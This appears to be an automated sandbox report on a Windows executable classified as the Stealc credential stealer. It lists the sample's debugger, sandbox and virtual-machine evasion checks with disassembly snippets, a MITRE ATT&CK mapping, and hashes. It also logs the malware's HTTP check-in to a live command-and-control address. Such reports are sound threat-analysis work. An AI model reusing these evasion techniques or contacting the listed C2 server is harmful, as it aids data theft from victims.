Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50503A0 second address: 50503A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50503BE second address: 5050493 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F98219BDB75h 0x00000008 and si, EEA6h 0x0000000d jmp 00007F98219BDB71h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 pushfd 0x00000017 jmp 00007F98219BDB77h 0x0000001c add eax, 22DEC1DEh 0x00000022 jmp 00007F98219BDB79h 0x00000027 popfd 0x00000028 pop eax 0x00000029 popad 0x0000002a push ebx 0x0000002b pushad 0x0000002c mov dx, si 0x0000002f mov ax, 4EB5h 0x00000033 popad 0x00000034 mov dword ptr [esp], ebp 0x00000037 jmp 00007F98219BDB70h 0x0000003c mov ebp, esp 0x0000003e jmp 00007F98219BDB70h 0x00000043 pop ebp 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 mov si, di 0x0000004a pushfd 0x0000004b jmp 00007F98219BDB79h 0x00000050 xor eax, 2CF6F2D6h 0x00000056 jmp 00007F98219BDB71h 0x0000005b popfd 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050493 second address: 50504A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9820CD6B9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F83A4 second address: 8F83A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 751A03 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 8ED659 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 751A30 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005038B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_005038B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00504910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00504910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_004FDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_004FE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00504570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00504570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_004FED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_004FBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004FDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004F16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004F16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FF68A FindFirstFileA,	0_2_004FF68A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00503EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00503EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004FF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004FF6B0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004F1160 GetSystemInfo,ExitProcess,

0_2_004F1160

Source: file.exe, file.exe, 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2144242993.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2144242993.0000000001336000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2144242993.0000000001302000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13406
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13403
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13423
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13418
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13458

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004F45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_004F45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00509860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00509750 mov eax, dword ptr fs:[00000030h]

0_2_00509750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00507850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00507850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 5084, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00509600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00509600

Source: file.exe, file.exe, 00000000.00000002.2143625399.00000000008CC000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00507B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00506920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00506920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00507850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00507850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00507A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00507A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2144242993.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2090253153.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5084, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2143466660.00000000004F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2144242993.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2090253153.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5084, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpN	file.exe, 00000000.00000002.2144242993.0000000001317000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpm	file.exe, 00000000.00000002.2144242993.0000000001336000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpr	file.exe, 00000000.00000002.2144242993.0000000001317000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/curity=Impersonation	file.exe, 00000000.00000002.2144242993.0000000001302000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpa	file.exe, 00000000.00000002.2144242993.0000000001336000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.2144242993.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.2144242993.0000000001317000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37$	file.exe, 00000000.00000002.2144242993.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538072
Start date and time:	2024-10-20 09:39:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	2
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 85
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	S3AYU5t2JP.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	S3AYU5t2JP.exe	Get hash	malicious	LummaC, Amadey, Stealc	Browse	185.215.113.103
	EY5iB1Y7CH.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	xvus4NLqiQ.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94820418679776
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'851'392 bytes
MD5:	e6bd9e89d78f9970ffe0edaba03dc207
SHA1:	d796439cf7a49abf6a7e19808f6e9da46c40e461
SHA256:	20fe22c7cf9c1c920267161320319a6d7b31354826d68c6bca2b188633cfc181
SHA512:	b57854fb947884929e5443cd40b3966ec8b0b96f2e7402b7521a5df1a1c3da120c1025125c5b98ec46ef96b8ba08135c47b6334de84e68bd50c2a00077c0b603
SSDEEP:	24576:IOEyZme3uVffPRnJw/FfqOfwvj2dxREw9y4kDmCzZ01ZkqKvuI5DeHE7rSD+1nxG:IOie+pX3wb+j2df0zK1Zd7B6rS0Oh8U
TLSH:	AF8533512EF52257C429663B1F18B3A86BDD006C4DDE8F9A2CF0F9BA895F670F711806
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa9e000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F98218FF28Ah
hint_nop dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F9821901285h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx+00000080h], dh
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	d697e3a312ca8cc739d73bad6030cb10	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a1000	0x200	f5e4ef0c0ed8e264f3b74d16c2897019	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bzasfecw	0x4ff000	0x19e000	0x19de00	10dee14a30ae7ce73d08651446464028	False	0.9950260495318635	data	7.953590120742498	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cqfnmftx	0x69d000	0x1000	0x400	3a10babfb4e77f0970314df4940eabd5	False	0.7685546875	data	6.109023091192403	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x69e000	0x3000	0x2200	86d67401f9ea026f23f805c97ed198e8	False	0.06755514705882353	DOS executable (COM)	0.7306808909193588	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-20T09:40:08.469842+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 09:40:06.955184937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 09:40:06.960125923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 09:40:06.960325003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 09:40:06.960525990 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 09:40:06.965334892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 09:40:08.111361027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 09:40:08.111432076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 09:40:08.114696980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 09:40:08.119582891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 09:40:08.469763041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 09:40:08.469841957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 09:40:11.209434032 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	5084	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 20, 2024 09:40:06.960525990 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 09:40:08.111361027 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 07:40:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
